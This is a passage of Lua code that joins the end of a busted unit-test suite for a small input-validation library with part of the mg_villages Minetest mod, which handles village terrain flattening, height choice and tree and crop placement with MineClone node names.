'check' }, { name = 'Waleed' }) assert.is_true(result) end) it('should return (false, message) when second rule returned falsy', function() stub(_G, 'rule_check1') stub(_G, 'rule_check2') _G.rule_check1.returns(true) _G.rule_check2.returns(false) local isSuccess, error = varguard_verify({ name = 'check1|check2' }, { name = 'Waleed' }) assert.is_false(isSuccess) assert.is_equal('Rule [check2] returned falsy for `name`.', error) end) it('should return true and validated data when rule is empty', function() local isSuccess, data = varguard_verify({ name = '' }, { name = 'Waleed' }) assert.is_equal(true, isSuccess) assert.is_same({ name = 'Waleed' }, data) end) it('should return (true, validated data) for multiple values', function() stub(_G, 'rule_check') _G.rule_check.returns(true) local isSuccess, data = varguard_verify({ name = 'check', lan = '' }, { name = 'Waleed', lan = 'ar' }) assert.is_equal(true, isSuccess) assert.is_same({ name = 'Waleed', lan = 'ar' }, data) end) it('should remove data that is not exist in rules', function() local isSuccess, data = varguard_verify({ name = '', lan = '' }, { name = 'Waleed', lan = 'ar', something = true }) assert.is_equal(true, isSuccess) assert.is_same({ name = 'Waleed', lan = 'ar' }, data) end) end) --[[ returns validator: args ]]-- describe('varguard_parse_validators', function() it('should exist', function() assert.is_not_nil(varguard_parse_validators) end) it('should return array of validators', function() assert.is_same({ required = {} }, varguard_parse_validators('required')) end) it('should parse a validator with arguments', function() assert.is_same({ required = { 'arg' } }, varguard_parse_validators('required:arg')) end) it('should parse multiple arguments', function() assert.is_same({ required = { 'first', 'second' } }, varguard_parse_validators('required:first,second')) end) it('should parse multiple validators without args', function() assert.is_same({ required = {}, type = {} }, varguard_parse_validators('required|type')) end) it('should parse multiple validators with args', function() assert.is_same({ required = { 'now' }, type = { 'string' } }, varguard_parse_validators('required:now|type:string')) end) it('should parse multiple validators with multi arguments', function() assert.is_same({ required = { 'now', 'right' }, type = { 'string', 'table' } }, varguard_parse_validators('required:now,right|type:string,table')) end) it('should ignore empty line after comma in the args', function() assert.is_same({ required = { 'now', 'right' }, type = { 'string', 'table' } }, varguard_parse_validators('required:now, right|type:string, table')) end) it('should ignore arguments when validator has a colon', function() assert.is_same({ required = {}, type = {} }, varguard_parse_validators('required:|type:')) end) end) describe('rule_required', function() it('should exist', function() assert.is_not_nil(rule_required) end) it('should return true when argument is not nil', function() assert.is_true(rule_required(true)) assert.is_true(rule_required(false)) assert.is_true(rule_required('something')) assert.is_true(rule_required(function() end)) assert.is_true(rule_required(1)) assert.is_true(rule_required({})) end) it('should return false for empty string and nil', function() assert.is_false(rule_required('')) assert.is_false(rule_required(nil)) end) end) describe('rule_type', function() it('should exist', function() assert.is_not_nil(rule_type) end) it('should return false when type is not one of types', function() assert.is_false(rule_type(4, { 'string', 'boolean' })) end) it('should return true when type exist in the specified types', function() assert.is_true(rule_type(4, { 'string', 'boolean', 'number' })) end) end) describe('rule_callable', function() it('should exist', function() assert.is_not_nil(rule_callable) end) it('should return false when input is not callable', function() assert.is_false(rule_callable(true)) assert.is_false(rule_callable({})) assert.is_false(rule_callable(1)) assert.is_false(rule_callable(nil)) end) it('should return true when input is function', function() assert.is_true(rule_callable(function() end)) end) it('should return true when input is table and has __call', function() local callableTable = setmetatable({}, { __call = function() end }) assert.is_true(rule_callable(callableTable)) end) it('should return false when table metadata has __call that is not a function', function() local callableTable = setmetatable({}, { __call = 1 }) assert.is_false(rule_callable(callableTable)) end) end) describe('rule_max', function() it('should exist', function() assert.is_not_nil(rule_max) end) it('should return false when arguments is nil', function() assert.is_false(rule_max(2, {})) end) it('should return false when the max is not a number', function() assert.is_false(rule_max(2, { 'k' })) end) it('should return false when input greater than max', function() assert.is_false(rule_max(5, { '4' })) end) it('should return true when input is less or equal than max', function() assert.is_true(rule_max(2, { '4' })) assert.is_true(rule_max(4, { '4' })) end) end) describe('rule_min', function() it('should exist', function() assert.is_not_nil(rule_min) end) it('should return false when arguments is nil', function() assert.is_false(rule_min(2, {})) end) it('should return false when the min is not a number', function() assert.is_false(rule_min(2, { 'k' })) end) it('should return false when input less than min', function() assert.is_false(rule_min(2, { '4' })) end) it('should return true when input is greater or equal than min', function() assert.is_true(rule_min(5, { '4' })) assert.is_true(rule_min(4, { '4' })) end) end)
mg_villages.wseed = 0; minetest.register_on_mapgen_init(function(mgparams) mg_villages.wseed = math.floor(mgparams.seed/10000000000) end) function mg_villages.get_bseed(minp) return mg_villages.wseed + math.floor(5*minp.x/47) + math.floor(873*minp.z/91) end function mg_villages.get_bseed2(minp) return mg_villages.wseed + math.floor(87*minp.x/47) + math.floor(73*minp.z/91) + math.floor(31*minp.y/12) end -- if you change any of the 3 constants below, also change them in the function -- mg_villages.village_area_mark_inside_village_area mg_villages.inside_village = function(x, z, village, vnoise) return mg_villages.get_vn(x, z, vnoise:get2d({x = x, y = z}), village) <= 40 end mg_villages.inside_village_area = function(x, z, village, vnoise) return mg_villages.get_vn(x, z, vnoise:get2d({x = x, y = z}), village) <= 80 end mg_villages.inside_village_terrain_blend_area = function(x, z, village, vnoise) return mg_villages.get_vn(x, z, vnoise:get2d({x = x, y = z}), village) <= 160 end mg_villages.get_vnoise = function(x, z, village, vnoise) -- PM v return mg_villages.get_vn(x, z, vnoise:get2d({x = x, y = z}), village) end -- PM ^ mg_villages.get_vn = function(x, z, noise, village) local vx, vz, vs = village.vx, village.vz, village.vs return (noise - 2) * 20 + (40 / (vs * vs)) * ((x - vx) * (x - vx) + (z - vz) * (z - vz)) end mg_villages.villages_in_mapchunk = function( minp, mapchunk_size ) local noise1raw = minetest.get_perlin(12345, 6, 0.5, 256) local vcr = mg_villages.VILLAGE_CHECK_RADIUS local villages = {} for xi = -vcr, vcr do for zi = -vcr, vcr do for _, village in ipairs(mg_villages.villages_at_point({x = minp.x + xi * mapchunk_size, z = minp.z + zi * mapchunk_size}, noise1raw)) do villages[#villages+1] = village end end end return villages; end mg_villages.node_is_ground = {}; -- store nodes which have previously been identified as ground mg_villages.check_if_ground = function( ci ) -- pre-generate a list of no-ground-nodes for caching if( #mg_villages.node_is_ground < 1 ) then local no_ground_nodes = {'air','ignore','mcl_core:sandstonecarved','mcl_core:cactus', 'mcl_core:sprucewood','mcl_core:sprucetree','mcl_core:spruceleaves', 'mcl_core:wood','mcl_core:tree','mcl_core:leaves', 'mcl_core:junglewood','mcl_core:jungletree','mcl_core:jungleleaves', 'mcl_core:birchwood','mcl_core:birchtree','mcl_core:birchleaves', 'mcl_core:acaciawood','mcl_core:acaciatree','mcl_core:acacialeaves', 'group:huge_mushroom','ethereal:mushroom_trunk','ethereal:bamboo'}; for _,name in ipairs( no_ground_nodes ) do mg_villages.node_is_ground[ minetest.get_content_id( name )] = false; end end if( not( ci )) then return false; end if( mg_villages.node_is_ground[ ci ] ~= nil) then return mg_villages.node_is_ground[ ci ]; end -- analyze the node -- only nodes on which walking is possible may be counted as ground local node_name = minetest.get_name_from_content_id( ci ); local def = minetest.registered_nodes[ node_name ]; -- store information about this node type for later use if( not( def )) then mg_villages.node_is_ground[ ci ] = false; elseif( not( def.walkable)) then mg_villages.node_is_ground[ ci ] = false; elseif( def.groups and def.groups.tree ) then mg_villages.node_is_ground[ ci ] = false; elseif( def.drop and def.drop == 'mcl_core:dirt') then mg_villages.node_is_ground[ ci ] = true; elseif( def.walkable == true and def.is_ground_content == true and not(def.node_box)) then mg_villages.node_is_ground[ ci ] = true; else mg_villages.node_is_ground[ ci ] = false; end return mg_villages.node_is_ground[ ci ]; end -- sets evrything at x,z and above height target_height to air; -- the area below gets filled up in a suitable way (i.e. dirt with grss - dirt - stone) mg_villages.lower_or_raise_terrain_at_point = function( x, z, target_height, minp, maxp, vm, data, param2_data, a, cid, vh, treepos, has_artificial_snow, blend ) local surface_node = nil; local has_snow = has_artificial_snow; local tree = false; local jtree = false; local ptree = false; local old_height = maxp.y; local y = maxp.y; -- search for a surface and set everything above target_height to air while( y > minp.y) do local ci = data[a:index(x, y, z)]; if( ci == cid.c_snow ) then has_snow = true; elseif( ci == cid.c_tree ) then tree = true; -- no jungletrees for branches elseif( ci == cid.c_jtree and data[a:index( x, y-1, z)]==cid.c_jtree) then jtree = true; -- pinetrees elseif( ci == cid.c_ptree and data[a:index( x, y-1, z)]==cid.c_ptree) then ptree = true; elseif( not( surface_node) and ci ~= cid.c_air and ci ~= cid.c_ignore and mg_villages.check_if_ground( ci ) == true) then -- we have found a surface of some kind surface_node = ci; old_height = y; if( surface_node == cid.c_dirt_with_snow ) then has_snow = true; end end -- make sure there is air for the village if( y > target_height ) then data[a:index( x, y, z)] = cid.c_air; -- abort search once we've reached village ground level and found a surface node elseif( y <= target_height and surface_node ) then y = minp.y - 1; end y = y-1; end if( not( surface_node ) and old_height == maxp.y ) then if( data[a:index( x, minp.y, z)]==cid.c_air) then old_height = vh - 2; elseif( minp.y < 0 ) then old_height = minp.y; end end if( not( surface_node ) or surface_node == cid.c_dirt) then surface_node = cid.c_dirt_with_grass; end if( has_snow and surface_node == cid.c_dirt_with_grass and target_height > 1) then surface_node = cid.c_dirt_with_snow; end local below_1 = cid.c_dirt; local below_2 = cid.c_stone; if( surface_node == cid.c_desert_sand ) then below_1 = cid.c_desert_sand; below_2 = cid.c_desert_stone; elseif( surface_node == cid.c_sand ) then below_1 = cid.c_sand; below_2 = cid.c_stone; elseif( cid.c_ethereal_clay_read and (surface_node == cid.c_ethereal_clay_red or surface_node == cid.c_ethereal_clay_orange)) then below_1 = cid.c_ethereal_clay_orange; below_2 = cid.c_ethereal_clay_orange; elseif( surface_node == cid.c_sandstone ) then below_1 = cid.c_sandstone; below_2 = cid.c_sandstone; else below_1 = cid.c_dirt; below_2 = cid.c_stone; end -- do terrain blending; target_height has to be calculated based on old_height if( target_height == maxp.y ) then local yblend = old_height; if blend > 0 then -- leave some cliffs unblended yblend = math.floor(vh + blend * (old_height - vh)) target_height = yblend+1; else target_height = old_height; end for y = yblend, maxp.y do if( y<=1 ) then data[a:index( x, y, z)] = cid.c_water; else data[a:index( x, y, z)] = cid.c_air; end end end if( target_height < 1 ) then -- no trees or snow below water level elseif( tree and not( mg_villages.ethereal_trees ) and treepos) then data[ a:index( x, target_height+1, z)] = cid.c_sapling table.insert( treepos, {x=x, y=target_height+1, z=z, typ=0, snow=has_artificial_snow}); elseif( jtree and not( mg_villages.ethereal_trees ) and treepos) then data[ a:index( x, target_height+1, z)] = cid.c_jsapling table.insert( treepos, {x=x, y=target_height+1, z=z, typ=1, snow=has_artificial_snow}); elseif( ptree and not( mg_villages.ethereal_trees ) and treepos) then data[ a:index( x, target_height+1, z)] = cid.c_psapling table.insert( treepos, {x=x, y=target_height+1, z=z, typ=2, snow=has_artificial_snow}); elseif( has_snow ) then data[ a:index( x, target_height+1, z)] = cid.c_snow; end data[ a:index( x, target_height, z)] = surface_node; if( target_height-1 >= minp.y ) then data[ a:index( x, target_height-1, z)] = below_1; end -- not every column will get a coal block; some may get two local coal_height1 = math.random( minp.y, maxp.y ); local coal_height2 = math.random( minp.y, maxp.y ); y = target_height-2; while( y > minp.y and y > target_height-40 ) do local old_node = data[a:index( x, y, z)]; -- abort as soon as we hit anything other than air if( old_node == cid.c_air or old_node == cid.c_water ) then -- the occasional coal makes large stone cliffs slightly less boring if( y == coal_height1 or y == coal_height2 ) then data[a:index( x, y, z )] = cid.c_stone_with_coal; else data[a:index( x, y, z)] = below_2; end y = y-1; else y = minp.y - 1; end end end -- adjust the terrain level to the respective height of the village mg_villages.flatten_village_area = function( villages, minp, maxp, vm, data, param2_data, a, village_area, cid ) local treepos = {}; for z = minp.z, maxp.z do for x = minp.x, maxp.x do for village_nr, village in ipairs(villages) do -- is village_nr the village that is the one that is relevant for this spot? if( village_area[ x ][ z ][ 1 ] > 0 and village_area[ x ][ z ][ 1 ]==village_nr and village_area[ x ][ z ][ 2 ]~= 0 and data[a:index(x,village.vh,z)] ~= cid.c_ignore) then local has_artificial_snow = false; if( village.artificial_snow and village.artificial_snow==1) then has_artificial_snow = true; end if( village_area[ x ][ z ][ 2 ] > 0 ) then -- inside a village mg_villages.lower_or_raise_terrain_at_point( x, z, village.vh, minp, maxp, vm, data, param2_data, a, cid, village.vh, nil, has_artificial_snow, 0 ); elseif( mg_villages.ENABLE_TERRAIN_BLEND and village_area[ x ][ z ][ 2 ] < 0) then mg_villages.lower_or_raise_terrain_at_point( x, z, maxp.y, minp, maxp, vm, data, param2_data, a, cid, village.vh, treepos, has_artificial_snow, -1* village_area[ x ][ z ][ 2 ]); end end -- PM ^ end end end -- grow normal trees and jungletrees in those parts of the terrain where height blending occours for _, tree in ipairs(treepos) do local plant_id = cid.c_jsapling; if( tree.typ == 0 ) then plant_id = cid.c_sapling; elseif( tree.typ == 2 ) then plant_id = cid.c_psapling; end mg_villages.grow_a_tree( {x=tree.x, y=tree.y, z=tree.z}, plant_id, minp, maxp, data, a, cid, nil, tree.snow ) -- no pseudorandom present end end -- TODO: limit this function to the shell in order to speed things up -- repair mapgen griefings mg_villages.repair_outer_shell = function( villages, minp, maxp, vm, data, param2_data, a, village_area, cid ) for z = minp.z, maxp.z do for x = minp.x, maxp.x do -- inside a village if( village_area[ x ][ z ][ 2 ] > 0 ) then local y; local village = villages[ village_area[ x ][ z ][ 1 ]]; -- the current node at the ground local node = data[a:index(x,village.vh,z)]; -- there ought to be something - but there is air if( village and village.vh and (node==cid.c_air or node==cid.c_water)) then y = village.vh-1; -- search from village height downards for holes generated by cavegen and fill them up while( y > minp.y ) do local ci = data[a:index(x, y, z)]; if( ci == cid.c_desert_stone or ci == cid.c_desert_sand ) then data[a:index(x, village.vh, z)] = cid.c_desert_sand; y = minp.y-1; elseif( ci == cid.c_sand ) then data[a:index(x, village.vh, z)] = cid.c_sand; y = minp.y-1; -- use dirt_with_grass as a fallback elseif( ci ~= cid.c_air and ci ~= cid.c_ignore and ci ~= cid.c_water and mg_villages.check_if_ground( ci ) == true) then data[a:index(x, village.vh, z)] = cid.c_dirt_with_grass; y = minp.y-1; -- abort the search - there is no data available yet elseif( ci == cid.c_ignore ) then y = minp.y-1; end y = y-1; end end -- remove mudflow y = village.vh + 1; while( y < village.vh+40 and y < maxp.y ) do local ci = data[a:index(x, y, z)]; if( ci ~= cid.c_ignore and (ci==cid.c_dirt or ci==cid.c_dirt_with_grass or ci==cid.c_sand or ci==cid.c_desert_sand)) then data[a:index(x,y,z)] = cid.c_air; -- if there was a moresnow cover, add a snow on top of the new floor node elseif( ci ~= cid.c_ignore and (ci==cid.c_msnow_1 or ci==cid.c_msnow_2 or ci==cid.c_msnow_3 or ci==cid.c_msnow_4 or ci==cid.c_msnow_5 or ci==cid.c_msnow_6 or ci==cid.c_msnow_7 or ci==cid.c_msnow_8 or ci==cid.c_msnow_9 or ci==cid.c_msnow_10 or ci==cid.c_msnow_11)) then data[a:index(x, village.vh+1, z)] = cid.c_snow; data[a:index(x, village.vh, z)] = cid.c_dirt_with_snow; end y = y+1; end end end end end -- helper functions for mg_villages.place_villages_via_voxelmanip -- this one marks the positions of buildings plus a frame around them mg_villages.village_area_mark_buildings = function( village_area, village_nr, bpos) -- mark the roads and buildings and the area between buildings in the village_area table -- 2: road -- 3: border around a road -- 4: building -- 5: border around a building for _, pos in ipairs( bpos ) do local reserved_for = 4; -- a building will be placed here if( pos.btype and pos.btype == 'road' ) then reserved_for = 2; -- the building will be a road end -- the building + a border of 1 around it for x = -1, pos.bsizex do for z = -1, pos.bsizez do local p = {x=pos.x+x, z=pos.z+z}; if( not( village_area[ p.x ] )) then village_area[ p.x ] = {}; end if( x==-1 or z==-1 or x==pos.bsizex or z==pos.bsizez ) then village_area[ p.x ][ p.z ] = { village_nr, reserved_for+1}; -- border around a building else village_area[ p.x ][ p.z ] = { village_nr, reserved_for }; -- the actual building end end end end end mg_villages.village_area_mark_dirt_roads = function( village_area, village_nr, dirt_roads ) -- mark the dirt roads -- 8: dirt road for _, pos in ipairs(dirt_roads) do -- the building + a border of 1 around it for x = 0, pos.bsizex-1 do for z = 0, pos.bsizez-1 do local p = {x=pos.x+x, z=pos.z+z}; if( not( village_area[ p.x ] )) then village_area[ p.x ] = {}; end village_area[ p.x ][ p.z ] = { village_nr, 8 }; -- the actual dirt road end end end end mg_villages.village_area_mark_inside_village_area = function( village_area, villages, village_noise, minp, maxp ) -- mark the rest ( inside_village but not part of an actual building) as well for x = minp.x, maxp.x do if( not( village_area[ x ] )) then village_area[ x ] = {}; end for z = minp.z, maxp.z do if( not( village_area[ x ][ z ] )) then village_area[ x ][ z ] = { 0, 0 }; local n_rawnoise = village_noise:get2d({x = x, y = z}) -- create new blended terrain for village_nr, village in ipairs(villages) do local vn = mg_villages.get_vn(x, z, n_rawnoise, village); if( village.is_single_house ) then -- do nothing here; the village area will be specificly marked later on -- the village core; this is where the houses stand (but there's no house or road at this particular spot) elseif( vn <= 40 ) then -- see mg_villages.inside_village village_area[ x ][ z ] = { village_nr, 6}; -- the flattened land around the village where wheat, cotton, trees or grass may be grown (depending on village type) elseif( vn <= 80 ) then -- see mg_villages.inside_village_area village_area[ x ][ z ] = { village_nr, 1}; -- terrain blending for the flattened land elseif( vn <= 160 and mg_villages.ENABLE_TERRAIN_BLEND) then -- see mg_villages.inside_village_terrain_blend_area if n_rawnoise > -0.5 then -- leave some cliffs unblended local blend = (( vn - 80) / 80) ^ 2 -- 0 at village edge, 1 at normal terrain -- assign a negative value to terrain that needs to be adjusted in height village_area[ x ][ z ] = { village_nr, -1 * blend}; else -- no height adjustments for this terrain; the terrain is not considered to be part of the village village_area[ x ][ z ] = { village_nr, 0}; end end end end end end -- single houses get their own form of terrain blend local pr = PseudoRandom(mg_villages.get_bseed(minp)); for village_nr, village in ipairs( villages ) do if( village and village.is_single_house and village.to_add_data and village.to_add_data.bpos and #village.to_add_data.bpos>=1) then mg_villages.village_area_mark_single_house_area( village_area, minp, maxp, village.to_add_data.bpos[1], pr, village_nr, village ); end end end -- analyzes optimal height for villages which have their center inside this mapchunk mg_villages.village_area_get_height = function( village_area, villages, minp, maxp, data, param2_data, a, cid ) -- figuring out the height this way hardly works - because only a tiny part of the village may be contained in this chunk local height_sum = {}; local height_count = {}; local height_statistic = {}; -- initialize the variables for counting for village_nr, village in ipairs( villages ) do height_sum[ village_nr ] = 0; height_count[ village_nr ] = 0; height_statistic[ village_nr ] = {}; end -- try to find the optimal village height by looking at the borders defined by inside_village for x = minp.x+1, maxp.x-1 do for z = minp.z+1, maxp.z-1 do if( village_area[ x ][ z ][ 1 ] ~= 0 and village_area[ x ][ z ][ 2 ] ~= 0 and ( village_area[ x+1 ][ z ][ 2 ] <= 0 or village_area[ x-1 ][ z ][ 2 ] <= 0 or village_area[ x ][ z+1 ][ 2 ] <= 0 or village_area[ x ][ z-1 ][ 2 ] <= 0 ) -- if the corners of the mapblock are inside the village area, they may count as borders here as well or ( x==minp.x+1 and village_area[ x-1 ][ z ][ 1 ] >= 0 ) or ( x==maxp.x-1 and village_area[ x+1 ][ z ][ 1 ] >= 0 ) or ( z==minp.z-1 and village_area[ x ][ z-1 ][ 1 ] >= 0 ) or ( z==maxp.z+1 and village_area[ x ][ z+1 ][ 1 ] >= 0 )) then local y = maxp.y; while( y > minp.y and y >= 0) do local ci = data[a:index(x, y, z)]; if(( ci ~= cid.c_air and ci ~= cid.c_ignore and mg_villages.check_if_ground( ci ) == true) or (y==0)) then local village_nr = village_area[ x ][ z ][ 1 ]; if( village_nr > 0 and height_sum[ village_nr ] ) then height_sum[ village_nr ] = height_sum[ village_nr ] + y; height_count[ village_nr ] = height_count[ village_nr ] + 1; if( not( height_statistic[ village_nr ][ y ] )) then height_statistic[ village_nr ][ y ] = 1; else height_statistic[ village_nr ][ y ] = height_statistic[ village_nr ][ y ] + 1; end end y = minp.y - 1; end y = y-1; end end end end for village_nr, village in ipairs( villages ) do local tmin = maxp.y; local tmax = minp.y; local topt = 2; for k,v in pairs( height_statistic[ village_nr ] ) do if( k >= 2 and k < tmin and k >= minp.y) then tmin = k; end if( k <= maxp.y and k > tmax ) then tmax = k; end if( height_statistic[ village_nr ][ topt ] and height_statistic[ village_nr ][ topt ] < height_statistic[ village_nr ][ k ]) then topt = k; end end --print('HEIGHT for village '..tostring( village.name )..' min:'..tostring( tmin )..' max:'..tostring(tmax)..' opt:'..tostring(topt)..' count:'..tostring( height_count[ village_nr ])); -- the very first village gets a height of 1 if( village.nr and village.nr == 1 ) then village.optimal_height = 1; end if( village.optimal_height ) then -- villages above a size of 40 are *always* place at a convenient height of 1 elseif( village.vs >= 40 and not(village.is_single_house)) then village.optimal_height = 2; elseif( village.vs >= 30 and not(village.is_single_house)) then village.optimal_height = 41 - village.vs; elseif( village.vs >= 25 and not(village.is_single_house)) then village.optimal_height = 36 - village.vs; -- in some cases, choose that height which was counted most often elseif( topt and (tmax - tmin ) > 8 and height_count[ village_nr ] > 0) then local qmw; if( ( tmax - topt ) > ( topt - tmin )) then qmw = tmax; else qmw = tmin; end village.optimal_height = qmw; -- if no border height was found, there'd be no point in calculating anything; -- also, this is done only if the village has its center inside this mapchunk elseif( height_count[ village_nr ] > 0 ) then local max = 0; local target = village.vh; local qmw = 0; for k, v in pairs( height_statistic[ village_nr ] ) do qmw = qmw + v * (k*k ); if( v > max ) then target = k; max = v; end end if( height_count[ village_nr ] > 5 ) then qmw = math.floor( math.sqrt( qmw / height_count[ village_nr ]) +1.5); -- round the value -- a height of 0 would be one below water level; so let's choose something higher; -- as this may be an island created withhin deep ocean, it might look better if it extends a bit from said ocean if( qmw < 1 ) then qmw = 2; end else qmw = 0; -- if in doubt, a height of 0 usually works well end village.optimal_height = qmw; end end end mg_villages.change_village_height = function( village, new_height ) mg_villages.print( mg_villages.DEBUG_LEVEL_TIMING, 'CHANGING HEIGHT from '..tostring( village.vh )..' to '..tostring( new_height )); for _, pos in ipairs(village.to_add_data.bpos) do pos.y = new_height; end for _, pos in ipairs(village.to_add_data.dirt_roads) do pos.y = new_height; end village.vh = new_height; end -- those functions from the mg mod do not have their own namespace if( minetest.get_modpath( 'mg' )) then mg_villages.add_savannatree = add_savannatree; mg_villages.add_pinetree = add_pinetree; end mg_villages.grow_a_tree = function( pos, plant_id, minp, maxp, data, a, cid, pr, snow ) -- a normal tree; sometimes comes with apples if( plant_id == cid.c_sapling and minetest.registered_nodes[ 'mcl_core:tree']) then mg_villages.grow_tree( data, a, pos, math.random(1, 4) == 1, math.random(1,100000), snow) return true; -- a normal jungletree elseif( plant_id == cid.c_jsapling and minetest.registered_nodes[ 'mcl_core:jungletree']) then mg_villages.grow_jungletree( data, a, pos, math.random(1,100000), snow) return true; -- a pine tree elseif( plant_id == cid.c_psapling and minetest.registered_nodes[ 'mcl_core:sprucetree']) then mg_villages.grow_pinetree( data, a, pos, snow); return true; -- a savannatree from the mg mod elseif( plant_id == cid.c_savannasapling and mg_villages.add_savannatree) then mg_villages.add_savannatree( data, a, pos.x, pos.y, pos.z, minp, maxp, pr) -- TODO: snow return true; -- a pine tree from the mg mod elseif( plant_id == cid.c_pinesapling and mg_villages.add_pinetree ) then mg_villages.add_pinetree( data, a, pos.x, pos.y, pos.z, minp, maxp, pr) -- TODO: snow return true; end return false; end -- places trees and plants at empty spaces mg_villages.village_area_fill_with_plants = function( village_area, villages, minp, maxp, data, param2_data, a, cid ) -- trees which require grow functions to be called cid.c_savannasapling = minetest.get_content_id( 'mcl_core:acaciasapling'); cid.c_pinesapling = minetest.get_content_id( 'mcl_core:sprucesapling'); -- add farmland cid.c_wheat = minetest.get_content_id( 'mcl_flowers:tallgrass' ); cid.c_cotton = minetest.get_content_id( 'mcl_flowers:tallgrass' ); cid.c_shrub = minetest.get_content_id( 'mcl_core:deadbush'); -- these extra nodes are used in order to avoid abms on the huge fields around the villages cid.c_soil_wet = minetest.get_content_id( 'mcl_farming:soil_wet' ); --'farming:soil_wet' ); cid.c_soil_sand = minetest.get_content_id( 'mcl_core:sand'); --'farming:desert_sand_soil_wet' ); -- desert sand soil is only available in minetest_next if( not( cid.c_soil_sand )) then cid.c_soil_sand = cid.c_soil_wet; end local c_water_source = minetest.get_content_id( 'mcl_core:water_source'); local c_clay = minetest.get_content_id( 'mcl_core:clay'); local c_feldweg = minetest.get_content_id( 'cottages:feldweg'); if( not( c_feldweg )) then c_feldweg = cid.c_dirt_with_grass; end if( mg_villages.realtest_trees ) then cid.c_soil_wet = minetest.get_content_id( 'mcl_farming:soil_wet' ); -- TODO: the one from mg_villages would be better...but that one lacks textures cid.c_soil_sand = minetest.get_content_id( 'mcl_farming:soil_wet' ); -- TODO: the one from mg_villages would be better...but that one lacks textures cid.c_wheat = minetest.get_content_id( 'farming:spelt_4' ); cid.c_cotton = minetest.get_content_id( 'farming:flax_4' ); -- cid.c_shrub = minetest.get_content_id( 'default:dry_shrub'); end local pr = PseudoRandom(mg_villages.get_bseed(minp)); for x = minp.x, maxp.x do for z = minp.z, maxp.z do -- turn unused land (which is either dirt or desert sand) into a field that grows wheat if( village_area[ x ][ z ][ 2 ]==1 or village_area[ x ][ z ][ 2 ]==6) then local village_nr = village_area[ x ][ z ][ 1 ]; local village = villages[ village_nr ]; local h = village.vh; local g = data[a:index( x, h, z )]; -- choose a plant/tree with a certain chance -- Note: There are no checks weather the tree/plant will actually grow there or not; -- Tree type is derived from wood type used in the village local plant_id = data[a:index( x, h+1, z)]; local on_soil = false; local plant_selected = false; local has_snow_cover = false; for _,v in ipairs( village.to_add_data.plantlist ) do if( plant_id == cid.c_snow or g==cid.c_dirt_with_snow) then has_snow_cover = true; end -- select the first plant that fits; if the node is not air, keep what is currently inside if( (plant_id==cid.c_air or plant_id==cid.c_snow) and (( v.p == 1 or pr:next( 1, v.p )==1 ))) then -- TODO: check if the plant grows on that soil plant_id = v.id; plant_selected = true; end -- wheat and cotton require soil if( plant_id == cid.c_wheat or plant_id == cid.c_cotton ) then on_soil = true; end end local pos = {x=x, y=h+1, z=z}; if( not( plant_selected )) then -- in case there is something there already (usually a tree trunk) has_snow_cover = nil; elseif( mg_villages.grow_a_tree( pos, plant_id, minp, maxp, data, a, cid, pr, has_snow_cover )) then param2_data[a:index( x, h+1, z)] = 0; -- make sure the tree trunk is not rotated has_snow_cover = nil; -- else the sapling might not grow -- nothing to do; the function has grown the tree already -- grow wheat and cotton on normal wet soil (and re-plant if it had been removed by mudslide) elseif( on_soil and (g==cid.c_dirt_with_grass or g==cid.c_soil_wet or g==cid.c_dirt_with_snow)) then param2_data[a:index( x, h+1, z)] = math.random( 1, 179 ); data[a:index( x, h, z)] = cid.c_soil_wet; -- no plants in winter if( has_snow_cover and mg_villages.use_soil_snow) then data[a:index( x, h+1, z)] = cid.c_msnow_soil; has_snow_cover = nil; else data[a:index( x, h+1, z)] = plant_id; end -- grow wheat and cotton on desert sand soil - or on soil previously placed (before mudslide overflew it; same as above) elseif( on_soil and (g==cid.c_desert_sand or g==cid.c_soil_sand) and cid.c_soil_sand and cid.c_soil_sand > 0) then param2_data[a:index( x, h+1, z)] = math.random( 1, 179 ); data[a:index( x, h, z)] = cid.c_soil_sand; -- no plants in winter if( has_snow_cover and mg_villages.use_soil_snow) then data[a:index( x, h+1, z)] = cid.c_msnow_soil; has_snow_cover = nil; else data[a:index( x, h+1, z)] = plant_id; end elseif( on_soil ) then if( math.random(1,5)==1 ) then data[a:index( pos.x, pos.y, pos.z)] = cid.c_shrub; end elseif( plant_id ) then -- place the sapling or plant (moretrees uses spawn_tree) data[a:index( pos.x, pos.y, pos.z)] = plant_id; end -- put a snow cover on plants where needed if( has_snow_cover and cid.c_msnow_1 ~= cid.c_ignore) then data[a:index( x, h+2, z)] = cid.c_msnow_1; end end end end end time_elapsed = function( t_last, msg ) mg_villages.t_now = minetest.get_us_time(); mg_villages.print( mg_villages.DEBUG_LEVEL_TIMING, 'TIME ELAPSED: '..tostring( mg_villages.t_now - t_last )..' '..msg ); return mg_villages.t_now; end mg_villages.save_data = function() save_restore.save_data( 'mg_all_villages.data', mg_villages.all_villages ); end mg_villages.place_villages_via_voxelmanip = function( villages, minp, maxp, vm, data, param2_data, a, top ) local t1 = minetest.get_us_time(); local cid = {} cid.c_air = minetest.get_content_id( 'air' ); cid.c_ignore = minetest.get_content_id( 'ignore' ); cid.c_stone = minetest.get_content_id( 'mcl_core:stone'); cid.c_dirt = minetest.get_content_id( 'mcl_core:dirt'); cid.c_snow = minetest.get_content_id( 'mcl_core:snow'); cid.c_dirt_with_snow = minetest.get_content_id( 'mcl_core:dirt_with_grass_snow' ); cid.c_dirt_with_grass = minetest.get_content_id( 'mcl_core:dirt_with_grass' ); cid.c_desert_sand = minetest.get_content_id( 'mcl_core:redsand' ); -- PM v cid.c_desert_stone = minetest.get_content_id( 'mcl_core:redsandstone'); cid.c_sand = minetest.get_content_id( 'mcl_core:sand' ); cid.c_tree = minetest.get_content_id( 'mcl_core:tree'); cid.c_sapling = minetest.get_content_id( 'mcl_core:sapling'); cid.c_jtree = minetest.get_content_id( 'mcl_core:jungletree'); cid.c_jsapling = minetest.get_content_id( 'mcl_core:junglesapling'); cid.c_ptree = minetest.get_content_id( 'mcl_core:sprucetree'); cid.c_psapling = minetest.get_content_id( 'mcl_core:sprucesapling'); cid.c_water = minetest.get_content_id( 'mcl_core:water_source'); -- PM ^ cid.c_stone_with_coal = minetest.get_content_id( 'mcl_core:stone_with_coal'); cid.c_sandstone = minetest.get_content_id( 'mcl_core:sandstone'); cid.c_msnow_1 = minetest.get_content_id( 'moresnow:snow_top' ); cid.c_msnow_2 = minetest.get_content_id( 'moresnow:snow_fence_top'); cid.c_msnow_3 = minetest.get_content_id( 'moresnow:snow_stair_top'); cid.c_msnow_4 = minetest.get_content_id( 'moresnow:snow_slab_top'); cid.c_msnow_5 = minetest.get_content_id( 'moresnow:snow_panel_top'); cid.c_msnow_6 = minetest.get_content_id( 'moresnow:snow_micro_top'); cid.c_msnow_7 